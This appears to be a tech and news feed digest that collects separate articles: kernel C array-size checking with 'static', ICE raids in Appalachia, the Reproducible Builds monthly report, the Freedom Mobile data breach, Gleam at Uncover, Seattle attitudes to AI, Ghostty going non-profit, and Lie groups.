    The discussion started when Ard Biesheuvel sought to improve the safety of the poetically named function xchacha20poly1305_encrypt() :

        void xchacha20poly1305_encrypt(u8 *dst, const u8 *src, const size_t src_len,
    			           const u8 *ad, const size_t ad_len,
    			       	   const u8 nonce[XCHACHA20POLY1305_NONCE_SIZE],
    			       	   const u8 key[CHACHA20POLY1305_KEY_SIZE]);
    

    A potential problem with this function is that it takes as parameters several pointers to arrays of type u8 . As Biesheuvel pointed out, the size of the nonce and key arrays is not checked by the compiler, even though it is clearly specified in the function prototype. That makes it easy to, for example, give the parameters in the wrong order. The resulting vulnerabilities are generally not the outcome developers have in mind when they write cryptographic code.

    Biesheuvel suggested that it was possible to write the prototype this way instead (differences shown in bold):

        void xchacha20poly1305_encrypt(u8 *dst, const u8 *src, const size_t src_len,
    			           const u8 *ad, const size_t ad_len,
    			       	   const u8 (*nonce)[XCHACHA20POLY1305_NONCE_SIZE],
    			       	   const u8 (*key)[CHACHA20POLY1305_KEY_SIZE]);
    

    The types of the last two arguments have changed; there is a new level of pointer indirection, with the argument being a pointer to an array of a given size. Callers must change their calls by adding an additional & operator to obtain the desired pointer type, but the address that is passed is the same. In this case, though, the compiler will check the sizes of the array passed, and will now catch a reordering of the arguments to the function.

    The LWN kernel-source database is the definitive source of information about kernel releases. Try a one-month free trial subscription for immediate access to LWN's kernel content and KSDB as well.

    Jason Donenfeld was interested by the idea, but he knew of an arguably more straightforward way to address this problem. It seems that, buried deep within the C standard, is a strange usage of the static keyword, making it possible to write the prototype as:

        void xchacha20poly1305_encrypt(u8 *dst, const u8 *src, const size_t src_len,
    			           const u8 *ad, const size_t ad_len,
    			       	   const u8 nonce[static XCHACHA20POLY1305_NONCE_SIZE],
    			       	   const u8 key[static CHACHA20POLY1305_KEY_SIZE]);
    

    This, too, will cause the compiler to check the sizes of the arrays, and it does not require changes on the caller side. Unlike the pointer trick, which requires an exact match on the array size, use of static will only generate a warning if the passed-in array is too small. So it will not catch all mistakes, though it is sufficient to prevent memory-safety and swapped-argument problems.

    Eric Biggers pointed out that GCC can often generate "array too small" warnings even without static , but that the kernel currently disables those warnings; that would suppress them when static is used as well. (The warning was disabled in 6.8 due to false positives.) But he thought that adding static was worthwhile to get the warnings in Clang — if Linus Torvalds would be willing to accept use of " this relatively obscure feature of C ".

    Torvalds, as it turns out, has no objection to this usage; he likes the feature, if not the way it was designed:

    The main issue with the whole 'static' thing is just that the syntax is such a horrible hack, where people obviously picked an existing keyword that made absolutely no sense, but was also guaranteed to have no backwards compatibility issues.

    He pointed out that there are a number of places in the kernel that are already using it; for a simple example, see getconsxy() in the virtual-terminal driver. He suggested perhaps hiding it with a macro like min_array_size() just to make the usage more obvious, but didn't seem convinced that it was necessary. Donenfeld followed up with a patch to that effect a few days later, but then pivoted to an at_least marker instead.

    A lot of work has gone into the kernel to make its use of C as safe as possible, but that does not mean that the low-hanging fruit has all been picked. The language has features, such as static when used to define formal array parameters, that can improve safety, but which are not generally known and not often used. In this particular case, though, it would not be surprising to see this " horrible hack " come into wider use in the near future.

    Index entries for this article
    Kernel C language safety
    Kernel Releases/6.19



    Show HN: I built a dashboard to compare mortgage rates across 120 credit unions

    Hacker News
    finfam.app
    2025-12-03 20:35:27
    Comments...

    "Real" America Is Turning Against Trump’s Mass Deportation Regime

    Intercept
    theintercept.com
    2025-12-03 20:30:16
    Everyday Americans in Appalachia and the Southeast show that resisting ICE is becoming the rule, rather than the exception. The post “Real” America Is Turning Against Trump’s Mass Deportation Regime appeared first on The Intercept....
    Original Article
    CHARLOTTE, NORTH CAROLINA - NOVEMBER 16: Department of Homeland Security Investigations officers search for two individuals who fled the scene after being stopped while selling flowers on the side of the road on November 16, 2025 in Charlotte, North Carolina. This comes on the second day of "Operation Charlotte's Web," an ongoing immigration enforcement surge across the Charlotte region. (Photo by Ryan Murphy/Getty Images)
    Homeland Security Investigations officers search for two individuals who fled the scene after being stopped while selling flowers on the side of the road on Nov. 16, 2025, in Charlotte, N.C. Photo: Ryan Murphy/Getty Images

    Alain Stephens is an investigative reporter covering gun violence, arms trafficking, and federal law enforcement.

    On a chilly evening in mid-November, about 135 people gathered along a highway in Boone, North Carolina, a small Appalachian college town not known as a hotbed of leftist protest. They held signs reading “Nazis were just following orders too” and “Time to melt the ICE,” and chanted profane rebukes at Immigration and Customs Enforcement agents rumored to be in the area. “They came here thinking they wouldn’t be bothered,” one Appalachian State University student told The Appalachian at the impromptu rally. “Boone is a small, southern, white, mountain town. We need to let them know they’ll be bothered anywhere they go.” In a region often stereotyped as silently conservative, this flash of defiance was a startling sign that the battle lines of American politics are shifting in unexpected ways.

    For the past several weeks, the Trump administration has been rolling out a mass deportation campaign of unprecedented scope — one that is now reaching deep into Appalachia. Branded “ Operation Charlotte’s Web ,” a deployment of hundreds of Department of Homeland Security and Border Patrol agents descended on North Carolina in mid-November, making sweeping arrests in and around Charlotte and into the state’s rural mountain counties.

    Officials billed the effort as targeting the “ worst of the worst ” criminal aliens, but the numbers tell a different story: More than 370 people were arrested, only 44 of whom had any prior criminal record, according to DHS. The vast majority were ordinary undocumented residents — people going to work or school, not “violent criminals” — which underscores that the crackdown is less about public safety than meeting political quotas.

    Indeed, Trump campaigned on conducting the largest deportation operation in U.S. history, vowing to round up 15 to 20 million people (which is more than the estimated 14 million undocumented people living in the U.S.) and pressuring ICE to triple its arrest rates to 3,000 per day . The federal dragnet has already driven ICE arrests to levels not seen in years; immigrants without criminal convictions now make up the largest share of detainees. But the administration is also facing widespread resistance to its policy of indiscriminate arrests and mass deportations, not as the exception, but as the rule — and among everyday, fed-up Americans across the country.

    Kicking the Hornets’ Nest

    What officials didn’t seem to anticipate was that this crackdown would face fierce pushback not only in liberal hubs with large immigrant communities like Los Angeles or Chicago , but in predominantly white, working-class communities.

    In Charlotte, a city on the edge of the Blue Ridge foothills, activists scrambled to implement a broad early-warning network to track federal agents. Thousands of local volunteers — many of them outside the city’s political establishment — mobilized to monitor convoys and alert vulnerable families in real time. They patrolled neighborhoods, followed unmarked vehicles, and honked their car horns to warn others when Customs and Border Protection or ICE agents were spotted: acts of quiet guerrilla resistance that Border Patrol’s local commander derided as “cult behavior.” The effort spanned from downtown Charlotte into the rural western counties, with observers checking hotels and Walmart parking lots in mountain towns for staging areas and relaying tips across the region.

    By the time the sheriff announced the feds had pulled out — and video showed a convoy hightailing it down the highway — locals were already hailing it as a “hornet’s nest” victory, comparing the retreat to British Gen. Charles Cornwallis’s abrupt withdrawal from the area during the Revolutionary War after being met with unexpectedly fierce resistance.

    Charlotte’s mostly quiet, semi-official resistance — dubbed the “ bless your heart ” approach for its polite-but-pointed Southern style — was notable. But the open rebellion brewing in coal country may be even more significant. In Harlan County, Kentucky — a storied epicenter of the Appalachian labor wars — residents recently got an alarming preview of the deportation machine’s reach. Back in May, a convoy of black SUVs rolled into the town of Harlan , and armed agents in tactical gear stormed two Mexican restaurants. At first, the operation was framed as a drug bust; Kentucky State Police on the scene told bystanders it was part of an “ongoing drug investigation.” But despite being carried out by DEA agents, it was an immigration raid, and local reporter Jennifer McDaniels noted that of the people arrested and jailed, their cases were listed as “immigration,” without a single drug-related offense.

    Once the shock wore off, residents were livid. “We took it personal here,” McDaniels, who witnessed the raid, told n+1 magazine . Watching their neighbors being whisked away in an unmarked van — with no real explanation from authorities — rattled this tight-knit community. “I don’t like what [these raids] are doing to our community,” McDaniels continued. “Our local leaders don’t like what it’s doing to our community. … We just really want to know what’s happening, and nobody’s telling us.” It turned out at least 13 people from Harlan were disappeared that day, quietly transferred to a detention center 70 miles away. In Harlan – immortalized in song and history as “ Bloody Harlan ” for its coal miner uprisings — the sight of government agents snatching low-wage workers off the job struck a deep nerve of betrayal and anger. This is a place that knows what class war looks like, and many residents see shades of it in the federal government’s high-handed raids.

    Blood in the Hills

    For decades, Appalachia has lived with the same lesson carved into the hills like coal seams: When Washington shows up, it’s rarely to help. When the mining ended and industry dried up and when opioids ripped through these communities, the federal response was always too little, too late. When hurricanes and floods drowned eastern North Carolina — Matthew in 2016, Florence in 2018 — thousands of homes sat unrepaired a decade later , with families still sleeping in FEMA trailers long after the rest of the country had moved on. After Helene floods smashed the western mountains in 2024, relief trickled in like rusted pipe water — with just $1.3 billion delivered to address an estimated $60 billion in damage. A year later, survivors were living in tents and sheds waiting for their government to step in.

    Help arrives slow; enforcement arrives fast and armored.

    But the federal government’s priority is a parade of bodies — arrest numbers, detention quotas, a spectacle of force — and so suddenly, these forgotten communities are lit up with floodlights and convoys. Operation Charlotte’s Web saw hundreds of ICE and Border Patrol agents deployed overnight. Help arrives slow; enforcement arrives fast and armored. It only reinforces the oldest mountain wisdom: Never trust the government.

    It’s a paradoxical arrangement that to many working Appalachians is simply untenable. “It’s a rural area with low crime,” one organizer in Boone pointed out , calling ICE’s authoritarian sweep “disgusting and inhumane.” The organizer also said, “That’s the number one conservative tactic: being tough on crime even when that crime doesn’t exist.” In other words, the narrative about dangerous criminals doesn’t match what people are actually seeing as their friends, classmates, and co-workers are being carted off.

    To be sure, public opinion in Appalachia isn’t monolithic; plenty of folks still cheer any crackdown on “illegals” as a restoration of law and order. But the growing resistance in these communities suggests a profound shift: Class solidarity is beginning to trouble the traditional partisan lines. The old playbook of stoking rural white fears about immigrants begins to lose its potency when those same immigrants have become neighbors, co-workers, or fellow parishioners — and when federal agents descend like an occupying army, indiscriminately disrupting everyone’s lives.

    “Abducting a so-called violent gang member at their place of employment is a contradiction,” a local Boone resident scoffed . It doesn’t take a Marxist to see the underlying reality: This isn’t about protecting rural communities, it’s about using them for political ends. For many who’ve been told they’re the “forgotten America,” the only time Washington remembers them is to enlist them as pawns — or body counts — in someone else’s culture war. And increasingly, they are saying no.

    Appalachia has a long, if overlooked, tradition of rebellion from below. A century ago, West Virginia coal miners fought the largest armed labor uprising in U.S. history at Blair Mountain , where thousands of impoverished workers (immigrants and native-born alike) took up arms together against corrupt coal barons. In the 1960s, poor white migrants from Appalachia’s hills living in Chicago formed the Young Patriots Organization : Confederate-flag-wearing “hillbillies” who shocked the establishment by allying with the Black Panthers and Young Lords in a multiracial fight against police brutality and poverty.

    That spirit of solidarity across color lines, born of shared class struggle, is reappearing in today’s mountain towns. You can see it in the way Charlotte activists borrowed tactics from Chicago’s immigrant rights movement, setting up rapid-response networks and legal support. You can see it in how North Carolina organizers are sharing resistance blueprints with communities in Louisiana and Mississippi ahead of “ Swamp Sweep ,” the next phase of Trump’s crackdown, slated to deploy as many 250 agents to the Gulf South on December 1 with the goal of arresting 5,000 people. And you can certainly see it each time a rural Southern church offers protection to an undocumented family , or when local volunteers protest Border Patrol outside their hotels.

    No Southern Comfort for Feds

    This all puts the Trump administration — and any future administration tempted to wage war on Trump-labeled sanctuary cities ” — in an uncomfortable position. It was easy enough for politicians to paint resistance to immigration raids as the province of big-city liberals or communities of color. But what happens when predominantly white, working-class towns start throwing sand in the gears of the deportation machine? In North Carolina, activists note that their state is not Illinois — the partisan landscape is different, and authorities have been cautious — but ordinary people are still finding creative ways to fight back. They are finding common cause with those they were told to blame for their economic woes. In doing so, they threaten to upend the narrative that Appalachia — and perhaps the rest of working-class, grit-ridden, forgotten America — will forever serve as obedient foot soldiers for someone else’s crusade.

    The resistance unfolding now in places like Boone and Harlan is not noise — it’s a signal. It suggests that America’s political fault lines are shifting beneath our feet. The coming deportation raids were supposed to be a mop-up operation executed in the heart of “real America,” far from the sanctuary cities that have defied Trump. Instead, they are turning into a slog, met with a thousand cuts of small-town rebellions. This is hardly the passive or supportive response that hard-liners in Washington might have expected from the red-state USA.

    On the contrary, as the enforcement regime trickles out into broader white America, it is encountering the same unruly spirit that has long defined its deepest hills, valleys, and backwoods. The message to Washington is clear: If you thought Appalachia would applaud or simply acquiesce while you turn their hometowns into staging grounds for mass round-ups, bless your heart.

    Reproducible Builds: Reproducible Builds in November 2025

    PlanetDebian
    reproducible-builds.org
    2025-12-03 20:28:10
    Welcome to the report for November 2025 from the Reproducible Builds project! These monthly reports outline what we’ve been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As always, if you are interested i...
    Original Article

    Welcome to the report for November 2025 from the Reproducible Builds project!

    These monthly reports outline what we’ve been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As always, if you are interested in contributing to the Reproducible Builds project, please see the Contribute page on our website.

    In this report:

    1. “10 years of Reproducible Build” at SeaGL
    2. Distribution work
    3. Tool development
    4. Website updates
    5. Miscellaneous news
    6. Software Supply Chain Security of Web3
    7. Upstream patches

    10 years of Reproducible Builds ’ at SeaGL 2025

    On Friday 8th November, Chris Lamb gave a talk called 10 years of Reproducible Builds at SeaGL in Seattle, WA.

    Founded in 2013, SeaGL is a free, grassroots technical summit dedicated to spreading awareness and knowledge about free source software, hardware and culture. Chris’ talk:

    […] introduces the concept of reproducible builds, its technical underpinnings and its potentially transformative impact on software security and transparency. It is aimed at developers, security professionals and policy-makers who are concerned with enhancing trust and accountability in our software. It also provides a history of the Reproducible Builds project, which is approximately ten years old. How are we getting on? What have we got left to do? Aren’t all the builds reproducible now?

    Distribution work

    In Debian this month, Jochen Sprickerhof created a merge request to replace the use of reprotest in Debian’s Salsa Continuous Integration (CI) pipeline with debrebuild . Joschen cites the advantages as being threefold: firstly, that “only one extra build needed”; it “uses the same sbuild and ccache tooling as the normal build”; and “works for any Debian release”. The merge request was merged by Emmanuel Arias and is now active.

    kpcyrd posted to our mailing list announcing the initial release of repro-threshold , which implements an APT transport that “defines a threshold of at least X of my N trusted rebuilders need to confirm they reproduced the binary ” before installing Debian packages. “Configuration can be done through a config file, or through a curses-like user interface.

    Holger then merged two commits by Jochen Sprickerhof in order to address a fakeroot -related reproducibility issue in the debian-installer , and Jörg Jaspert deployed a patch by Ivo De Decker for a bug originally filed by Holger in February 2025 related to some Debian packages not being archived on snapshot.debian.org .

    Elsewhere, Roland Clobus performed some analysis on the “live” Debian trixie images, which he determined were not reproducible. However, in a follow-up post , Roland happily reports that the issues have been handled . In addition, 145 reviews of Debian packages were added, 12 were updated and 15 were removed this month adding to our knowledge about identified issues .

    Lastly, Jochen Sprickerhof filed a bug announcing their intention to “ binary NMU ” a very large number of the R programming language after a reproducibility-related toolchain bug was fixed.

    Bernhard M. Wiedemann posted another openSUSE monthly update for their work there.

    Julien Malka and Arnout Engelen launched the new hash collection server for NixOS. Aside from improved reporting to help focus reproducible builds efforts within NixOS, it collects build hashes as individually-signed attestations from independent builders, laying the groundwork for further tooling.

    Tool development

    diffoscope version 307 was uploaded to Debian unstable (as well as version 309 ). These changes included further attempts to automatically attempt to deploy to PyPI by liaising with the PyPI developers/maintainers (with this experimental feature ). [ ][ ][ ]

    In addition, reprotest versions 0.7.31 and 0.7.32 were uploaded to Debian unstable by Holger Levsen, who also made the following changes:

    • Do not vary the architecture personality if the kernel is not varied. (Thanks to Raúl Cumplido). [ ]
    • Drop the debian/watch file, as Lintian now flags this as error for ‘native’ Debian packages. [ ][ ]
    • Bump Standards-Version to 4.7.2, with no changes needed. [ ]
    • Drop the Rules-Requires-Root header as it is no longer required.. [ ]

    In addition, however, Vagrant Cascadian fixed a build failure by removing some extra whitespace from an older changelog entry. [ ]

    Website updates

    Once again, there were a number of improvements made to our website this month including:

    Miscellaneous news

    Software Supply Chain Security of Web3

    Via our mailing list , Martin Monperrus let us know about their recently-published page on the Software Supply Chain Security of Web3 . The abstract of their paper is as follows:

    Web3 applications, built on blockchain technology, manage billions of dollars in digital assets through decentralized applications (dApps) and smart contracts. These systems rely on complex, software supply chains that introduce significant security vulnerabilities. This paper examines the software supply chain security challenges unique to the Web3 ecosystem, where traditional Web2 software supply chain problems intersect with the immutable and high-stakes nature of blockchain technology. We analyze the threat landscape and propose mitigation strategies to strengthen the security posture of Web3 systems.

    Their paper lists reproducible builds as one of the mitigating strategies. A PDF of the full text is available to download.

    Upstream patches

    The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where appropriate. This month, we wrote a large number of such patches, including:

    Finally, if you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:

    Freedom Mobile discloses data breach exposing customer data

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 20:28:01
    Freedom Mobile, the fourth-largest wireless carrier in Canada, has disclosed a data breach after attackers hacked into its customer account management platform and stole the personal information of an undisclosed number of customers. [...]...
    Original Article

    Freedom Mobile

    Freedom Mobile, the fourth-largest wireless carrier in Canada, has disclosed a data breach after attackers hacked into its customer account management platform and stole the personal information of an undisclosed number of customers.

    Founded in 2008 as Wind Mobile by telecommunications provider Globalive, Freedom has over 2,2 million subscribers and now says it provides coverage to 99% of Canadians.

    Vidéotron, a subsidiary of Canadian telecommunications company Québecor, acquired Freedom in 2023, creating the country's fourth major wireless carrier with more than 3.5 million mobile customers and nearly 7,500 employees.

    In a data breach notification published today, Freedom said it detected a breach of its customer account management platform on October 23.

    "Our investigation revealed that a third party used the account of a subcontractor to gain access to the personal information of a limited number of our customers," Freedom stated.

    "We quickly identified the incident and implemented corrective measures and security enhancements, including blocking the suspicious accounts and corresponding IP addresses."

    The personal and contact information exposed in the incident includes first and last names, home addresses, dates of birth, home and/or cell phone numbers, and Freedom Mobile account numbers.

    Although it found no evidence that the compromised data has been misused since the breach, the wireless carrier advised affected customers to be suspicious of unexpected messages requesting their personal information or directing them to a website to provide it.

    Freedom also recommends not clicking links or downloading attachments from emails or texts that seem suspicious and regularly checking their accounts for unusual activity.

    A Freedom Mobile spokesperson didn't reply to a request for comment when BleepingComputer reached out earlier today for more details on the data breach, including how many customers were affected, if the attackers also breached its internal network, and whether the carrier received a ransom demand after the incident.

    In May 2019, Freedom Mobile confirmed another data breach after a third-party vendor exposed an unsecured customer support database online, which contained the data of approximately 15,000 customers.

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    Solve Go challenge: octantconway

    Lobsters
    github.com
    2025-12-03 20:22:49
    Comments...
    Original Article

    Search code, repositories, users, issues, pull requests...

    Provide feedback

    We read every piece of feedback, and take your input very seriously.

    Saved searches

    Use saved searches to filter your results more quickly

    Sign up

    Appearance settings

    Alan Dye Leaves Apple for Meta, Replaced by Longtime Designer Stephen Lemay

    Daring Fireball
    www.bloomberg.com
    2025-12-03 19:59:22
    Mark Gurman, with blockbuster news at Bloomberg: Meta Platforms Inc. has poached Apple Inc.’s most prominent design executive in a major coup that underscores a push by the social networking giant into AI-equipped consumer devices. The company is hiring Alan Dye, who has served as the head of A...
    Original Article

    We've detected unusual activity from your computer network

    To continue, please click the box below to let us know you're not a robot.

    Why did this happen?

    Please make sure your browser supports JavaScript and cookies and that you are not blocking them from loading. For more information you can review our Terms of Service and Cookie Policy .

    Need Help?

    For inquiries related to this message please contact our support team and provide the reference ID below.

    Block reference ID:6574a7ab-d086-11f0-b3c5-43076eb124f7

    Get the most important global markets news at your fingertips with a Bloomberg.com subscription.

    SUBSCRIBE NOW

    Home Assistant 2025.12 released

    Linux Weekly News
    lwn.net
    2025-12-03 19:44:36
    Version 2025.12 of the Home Assistant home-automation system has been released. This month, we're unveiling Home Assistant Labs, a brand-new space where you can preview features before they go mainstream. And what better way to kick it off than with Winter mode? ❄️ Enable it and watch snowflak...
    Original Article

    Version 2025.12 of the Home Assistant home-automation system has been released.

    This month, we're unveiling Home Assistant Labs, a brand-new space where you can preview features before they go mainstream. And what better way to kick it off than with Winter mode? ❄️ Enable it and watch snowflakes drift across your dashboard. It's completely unnecessary, utterly delightful, and exactly the kind of thing we love to build. ❄️

    But that's just the beginning. We've been working on making automations more intuitive over the past releases, and this release finally delivers purpose-specific triggers and conditions. Instead of thinking in (numeric) states, you can now simply say "When a light turns on" or "If the climate is heating". It's automation building the way our mind works, as it should be.



    No room for error - A case study of Gleam in production at Uncover

    Lobsters
    gleam.run
    2025-12-03 19:39:53
    Comments...
    Original Article

    Based in São Paulo, Brazil, Uncover was founded to revolutionise the field of marketing mix modelling - helping companies harness state-of-the-art data integration and AI to measure the return on their marketing investments, optimize their use of media, and track the effects of pricing changes and promotions in real time.

    Challenge

    Marketing mix modelling (MMM) first came to prominence in the early 1990s as a set of techniques for analysing, forecasting and optimising marketing planning. Today, it plays a central role in marketing strategy at most large consumer packaged goods companies, and is increasingly being adopted by the telecommunications, financial services, automotive and hospitality sectors too.

    One of the key advantages of MMM, compared to other commonly used marketing analysis techniques, is that it is purely a statistical approach and doesn't rely on user tracking. This makes it a great fit for companies that care about their customers' data privacy, and for those that want to invest in types of marketing campaigns and media that are not as easy to track as digital ads.

    Traditionally, the main providers of MMM have been specialist consultancy firms, which charge high fees for their services. As a result, MMM has been regarded as a premium service that only the largest companies can afford. Uncover's mission is to revolutionise the MMM market by building a platform that can bring the same level of marketing intelligence to businesses of all sizes.

    At the heart of the Uncover platform is a query engine that allows analysts to define sophisticated ways to interrogate and visualise marketing data as it streams in from multiple sources - including sales and CRM systems, market and economic data, and even weather forecasts.

    "With our competitors' consultancy-based approach, they might run a big MMM project and deliver a final report after six months," comments Georges Boris, Chief Design Officer at Uncover. "With our platform, we can deliver new insights weekly, and at a fraction of the cost. To do that, we need to be able to develop queries that identify the factors that really impact our clients' marketing campaigns, and run those queries reliably and repeatedly to track how things evolve over time."

    To ensure it can always deliver the timely, accurate insights its clients need, Uncover's query engine has to be completely bullet-proof. That's why Georges and his team decided to use Gleam.

    Solution

    When Uncover started out in 2020, the company decided to use different programming languages to build the frontend and backend of its new platform. The frontend, which provides the web interface and data visualisation capabilities, was written in Elm, a language that is designed to completely eliminate the types of coding errors that could cause a system to crash. Meanwhile, the backend, which provides the data integration and query processing capabilities, was written in a language that didn't offer the same level of automatic error detection and couldn't provide the same guarantees.

    "From the beginning, I always really enjoyed working on the Elm part of the codebase," says Georges Boris. "But the backend wasn't such a nice experience. We constantly had bugs, and our error reporting system was logging literally thousands of errors - versus absolutely zero with Elm."

    He explains: "We wanted an Elm-like experience on the backend too, but Elm is specifically designed to be frontend only. Then, a couple of years ago, we started hearing about Gleam, and we realised that for the first time, there was a backend language that could give us the same assurances and the same level of comfort."

    Safe and practical

    Georges started by using Gleam to develop a query parser - a program that can validate and load saved queries into the query engine so that they can be executed. "The parser was full of complex business logic, which made it a good test case for Gleam," explains Georges Boris. "Gleam helps you catch and fix a lot of errors before you even run your program. So once you run it, you have a lot of confidence that your code is correct."

    At the same time, Georges Boris enjoys the practicality of Gleam's design: "Gleam makes it very easy to interoperate with other languages. That's vital for us because we already had a very large backend codebase, and the new functionality that we are writing in Gleam has to work seamlessly with our existing code. I love the safety that Gleam provides, but I also appreciate the fact that Gleam lets me remove the guardrails when I need to interact with other less-safe languages."

    Simple and reliable

    Uncover is a relatively young company that operates with a disruptor's mindset - you can't reinvent MMM for the midmarket without being prepared to think differently. Yet while the business itself may be radical, its technology strategy is relatively conservative.

    "Gleam has been gaining a lot of attention recently, but you can't choose programming languages based on hype," says Georges Boris. "We wouldn't be using Gleam if it wasn't a safe, sensible - almost boring - choice. It's a really simple language to learn, and there are plenty of developers who are interested in this style of programming, so we're not worried about hiring or onboarding. And while Gleam is a relatively new language, it runs on the BEAM - a battle-tested platform that has been regarded as the industry standard for building highly reliable applications since the 1980s. Combined with the safeguards that Gleam provides at a language level, the BEAM really helps us provide the most resilient environment we can for our business-critical web services."

    Results

    As Uncover gradually builds out more of its backend services in Gleam, the company expects to see big improvements in error rates during testing and in production. "So far, the only bugs we've seen in our Gleam codebase are mistakes in business logic - nothing that would actually crash in production," says Georges Boris. "That's a breath of fresh air compared to the rest of our backend codebase, which is constantly throwing errors that Gleam would have caught during development."

    He adds: "Testing is another areas where Gleam really shines, because the language pushes you to write straightforward tests that don't depend on a database or other external services. We can execute more than 1,900 Gleam tests per second, compared to about 40 per second for the rest of our backend test suite - so the Gleam tests run about 50 times faster."

    Looking to the future, Uncover is keen to explore how Gleam could help in other areas. "Gleam isn't just a backend language, it can run in the browser too," explains Georges Boris. "That means we could potentially use it as a lingua franca for parts of our business logic that need to run on both our backend servers and in our web application. We're also very impressed by Lustre, a Gleam web framework that takes all the things we like about Elm and adds some exciting new capabilities too. We're eager to contribute to the community and help Gleam's frontend story evolve."

    Everyone in Seattle hates AI

    Hacker News
    jonready.com
    2025-12-03 19:37:25
    Comments...
    Original Article

    I grabbed lunch with a former Microsoft coworker I've always admired—one of those engineers who can take any idea, even a mediocre one, and immediately find the gold in it. I wanted her take on Wanderfugl 🐦, the AI-powered map I've been building full-time. I expected encouragement. At worst, overly generous feedback because she knows what I've sacrificed.

    Instead, she reacted to it with a level of negativity I'd never seen her direct at me before.

    When I finally got her to explain what was wrong, none of it had anything to do with what I built. She talked about Copilot 365. And Microsoft AI. And every miserable AI tool she's forced to use at work. My product barely featured. Her reaction wasn't about me at all. It was about her entire environment.

    The AI Layoffs

    Her PM had been laid off months earlier. The team asked why. Their director told them it was because the PM org "wasn't effective enough at using Copilot 365."

    I nervously laughed. This director got up in a group meeting and said that someone lost their job over this?

    After a pause I tried to share how much better I've been feeling—how AI tools helped me learn faster, how much they accelerated my work on Wanderfugl. I didn't fully grok how tone deaf I was being though. She's drowning in resentment.

    I left the lunch deflated and weirdly guilty, like building an AI product made me part of the problem.

    But then I realized this was bigger than one conversation. Every time I shared Wanderfugl with a Seattle engineer, I got the same reflexive, critical, negative response. This wasn't true in Bali, Tokyo, Paris, or San Francisco—people were curious, engaged, wanted to understand what I was building. But in Seattle? Instant hostility the moment they heard "AI."

    The people at big tech in Seattle are not ok

    When I joined Microsoft, there was still a sense of possibility. Satya was pushing "growth mindset" everywhere. Leaders talked about empowerment and breaking down silos. And even though there was always a gap between the slogans and reality, there was room to try things.

    I leaned into it. I pushed into areas nobody wanted to touch, like Windows update compression, because it lived awkwardly across three teams. Somehow, a 40% improvement made it out alive. Leadership backed it. The people trying to kill it shrank back into their fiefdoms. It felt like the culture wanted change.

    That world is gone.

    When the layoff directive hit, every org braced for impact. Anything not strictly inside the org's charter was axed. I went from shipping a major improvement in Windows 11 to having zero projects overnight. I quit shortly after. In hindsight, getting laid off with severance might've been better than watching the culture collapse in slow motion.

    Then came the AI panic.

    If you could classify your project as "AI," you were safe and prestigious. If you couldn't, you were nobody. Overnight, most engineers got rebranded as "not AI talent." And then came the final insult: everyone was forced to use Microsoft's AI tools whether they worked or not.

    Copilot for Word. Copilot for PowerPoint. Copilot for email. Copilot for code. Worse than the tools they replaced. Worse than competitors' tools. Sometimes worse than doing the work manually.

    But you weren't allowed to fix them—that was the AI org's turf. You were supposed to use them, fail to see productivity gains, and keep quiet.

    Meanwhile, AI teams became a protected class. Everyone else saw comp stagnate, stock refreshers evaporate, and performance reviews tank. And if your team failed to meet expectations? Clearly you weren't "embracing AI."

    Bring up AI in a Seattle coffee shop now and people react like you're advocating asbestos.

    Amazon folks are slightly more insulated, but not by much. The old Seattle deal—Amazon treats you poorly but pays you more—only masks the rot.

    Self-Limiting Beliefs

    This belief system—that AI is useless and that you're not good enough to work on it anyway—hurts three groups:

    1. The companies.
    They've taught their best engineers that innovation isn't their job.

    2. The engineers.
    They're stuck in resentment and self-doubt while their careers stall.

    3. Anyone trying to build anything new in Seattle.
    Say "AI" and people treat you like a threat or an idiot.

    And the loop feeds itself:
    Engineers don't try because they think they can't.
    Companies don't empower them because they assume they shouldn't.
    Bad products reinforce the belief that AI is doomed.
    The spiral locks in.

    My former coworker—the composite of three people for anonymity—now believes she's both unqualified for AI work and that AI isn't worth doing anyway. She's wrong on both counts, but the culture made sure she'd land there.

    Seattle has talent as good as anywhere. But in San Francisco, people still believe they can change the world—so sometimes they actually do.

    Quoting Mitchell Hashimoto

    Simon Willison
    simonwillison.net
    2025-12-03 19:18:49
    Since the beginning of the project in 2023 and the private beta days of Ghostty, I've repeatedly expressed my intention that Ghostty legally become a non-profit. [...] I want to squelch any possible concerns about a "rug pull". A non-profit structure provides enforceable assurances: the mission cann...
    Original Article

    Since the beginning of the project in 2023 and the private beta days of Ghostty, I've repeatedly expressed my intention that Ghostty legally become a non-profit. [...]

    I want to squelch any possible concerns about a "rug pull" . A non-profit structure provides enforceable assurances: the mission cannot be quietly changed, funds cannot be diverted to private benefit, and the project cannot be sold off or repurposed for commercial gain. The structure legally binds Ghostty to the public-benefit purpose it was created to serve. [...]

    I believe infrastructure of this kind should be stewarded by a mission-driven, non-commercial entity that prioritizes public benefit over private profit. That structure increases trust, encourages adoption, and creates the conditions for Ghostty to grow into a widely used and impactful piece of open-source infrastructure.

    Mitchell Hashimoto , Ghostty is now Non-Profit

    Lie groups are crucial to some of the most fundamental theories in physics

    Hacker News
    www.quantamagazine.org
    2025-12-03 19:12:40
    Comments...
    Original Article

    By combining the language of groups with that of geometry and linear algebra, Marius Sophus Lie created one of math’s most powerful tools.

    Introduction

    In mathematics, ubiquitous objects called groups display nearly magical powers. Though they’re defined by just a few rules, groups help illuminate an astonishing range of mysteries. They can tell you which polynomial equations are solvable, for instance, or how atoms are arranged in a crystal.

    And yet, among all the different kinds of groups, one type stands out. Identified in the early 1870s, Lie groups (pronounced “Lee”) are crucial to some of the most fundamental theories in physics, and they’ve made lasting contributions to number theory and chemistry. The key to their success is the way they blend group theory, geometry and linear algebra.

    In general, a group is a set of elements paired with an operation (like addition or multiplication) that combines two of those elements to produce a third. Often, you can think of a group as the symmetries of a shape — the transformations that leave the shape unchanged.

    Consider the symmetries of the equilateral triangle. They form a group of six elements, as shown here:

    (Since a full rotation brings every point on the triangle back to where it started, mathematicians stop counting rotations past 360 degrees.)

